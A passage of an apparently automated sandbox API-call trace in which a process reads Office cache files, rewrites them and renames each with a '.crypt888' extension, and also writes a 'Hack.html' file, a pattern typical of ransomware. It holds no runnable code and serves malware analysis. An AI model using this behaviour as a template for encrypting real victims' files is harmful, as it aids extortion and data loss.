lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0066.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0066.903] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.904] GetFileType (hFile=0x258) returned 0x1 [0066.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0066.905] GetFileType (hFile=0x258) returned 0x1 [0066.905] WriteFile (in: hFile=0x258, lpBuffer=0x28d253c*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x28d253c*, lpNumberOfBytesWritten=0x39ed1c*=0x980, lpOverlapped=0x0) returned 1 [0066.906] CloseHandle (hObject=0x258) returned 1 [0066.912] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0066.912] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0066.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0066.913] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb9155420, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x980)) returned 1 [0066.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0066.913] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0066.919] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpFilePart=0x0) returned 0x4a [0066.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0066.919] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.919] GetFileType (hFile=0x258) returned 0x1 [0066.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0066.920] GetFileType (hFile=0x258) returned 0x1 [0066.920] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x708 [0066.920] ReadFile (in: hFile=0x258, lpBuffer=0x28d3fc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x28d3fc8*, lpNumberOfBytesRead=0x39ed58*=0x708, lpOverlapped=0x0) returned 1 [0066.926] CloseHandle (hObject=0x258) returned 1 [0066.951] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpFilePart=0x0) returned 0x4a [0066.952] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0066.952] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.953] GetFileType (hFile=0x258) returned 0x1 [0066.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0066.953] GetFileType (hFile=0x258) returned 0x1 [0066.953] WriteFile (in: hFile=0x258, lpBuffer=0x2924214*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x2924214*, lpNumberOfBytesWritten=0x39ed1c*=0x710, lpOverlapped=0x0) returned 1 [0066.954] CloseHandle (hObject=0x258) returned 1 [0066.955] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml", lpFilePart=0x0) returned 0x4a [0066.955] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.crypt888", lpFilePart=0x0) returned 0x53 [0066.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0066.955] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb91c7840, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x710)) returned 1 [0066.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0066.956] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.crypt888")) returned 1 [0066.959] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0066.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0066.959] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0066.961] GetFileType (hFile=0x258) returned 0x1 [0066.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0066.961] GetFileType (hFile=0x258) returned 0x1 [0066.962] WriteFile (in: hFile=0x258, lpBuffer=0x2926c48*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2926c48*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0066.963] CloseHandle (hObject=0x258) returned 1 [0066.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0066.963] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0066.963] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0066.963] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a368 [0066.976] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.977] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.977] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.977] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.977] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.977] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.977] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.977] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0066.978] FindClose (in: hFindFile=0x59a368 | out: hFindFile=0x59a368) returned 1 [0066.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0066.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0066.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0066.978] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0066.978] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0066.978] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a368 [0066.979] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.979] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.979] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.980] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.980] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.980] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.980] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0066.980] FindNextFileW (in: hFindFile=0x59a368, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0066.980] FindClose (in: hFindFile=0x59a368 | out: hFindFile=0x59a368) returned 1 [0066.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0066.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0066.981] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpFilePart=0x0) returned 0x4b [0066.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0066.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0066.982] GetFileType (hFile=0x258) returned 0x1 [0066.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0066.982] GetFileType (hFile=0x258) returned 0x1 [0066.982] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x32b [0066.982] ReadFile (in: hFile=0x258, lpBuffer=0x292aaf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x292aaf8*, lpNumberOfBytesRead=0x39ed58*=0x32b, lpOverlapped=0x0) returned 1 [0067.007] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpFilePart=0x0) returned 0x4b [0067.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.007] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.008] GetFileType (hFile=0x258) returned 0x1 [0067.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.008] GetFileType (hFile=0x258) returned 0x1 [0067.008] WriteFile (in: hFile=0x258, lpBuffer=0x29799e8*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x29799e8*, lpNumberOfBytesWritten=0x39ed1c*=0x330, lpOverlapped=0x0) returned 1 [0067.012] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpFilePart=0x0) returned 0x4b [0067.012] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.crypt888", lpFilePart=0x0) returned 0x54 [0067.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.012] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb9239c60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x330)) returned 1 [0067.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.013] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.crypt888")) returned 1 [0067.018] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.018] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.019] GetFileType (hFile=0x258) returned 0x1 [0067.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.019] GetFileType (hFile=0x258) returned 0x1 [0067.019] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x16fc [0067.019] ReadFile (in: hFile=0x258, lpBuffer=0x297ad3c, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x297ad3c*, lpNumberOfBytesRead=0x39ed58*=0x16fc, lpOverlapped=0x0) returned 1 [0067.045] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.046] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.047] GetFileType (hFile=0x258) returned 0x1 [0067.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.047] GetFileType (hFile=0x258) returned 0x1 [0067.047] WriteFile (in: hFile=0x258, lpBuffer=0x29cee00*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x29cee00*, lpNumberOfBytesWritten=0x39ed48*=0x1700, lpOverlapped=0x0) returned 1 [0067.048] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.048] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0067.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.048] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb92ac080, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x1700)) returned 1 [0067.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.048] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0067.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0067.049] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en", lpFilePart=0x0) returned 0x47 [0067.049] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpFilePart=0x0) returned 0x48 [0067.049] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a468 [0067.050] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.050] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.050] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.050] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.050] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0067.050] FindClose (in: hFindFile=0x59a468 | out: hFindFile=0x59a468) returned 1 [0067.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0067.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0067.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0067.051] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en", lpFilePart=0x0) returned 0x47 [0067.051] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpFilePart=0x0) returned 0x48 [0067.051] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a468 [0067.051] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.051] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.051] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.052] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.052] FindNextFileW (in: hFindFile=0x59a468, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0067.052] FindClose (in: hFindFile=0x59a468 | out: hFindFile=0x59a468) returned 1 [0067.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0067.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0067.052] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml", lpFilePart=0x0) returned 0x51 [0067.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0067.052] CreateFileW (lpFileName="C:\\MSOCache\\All 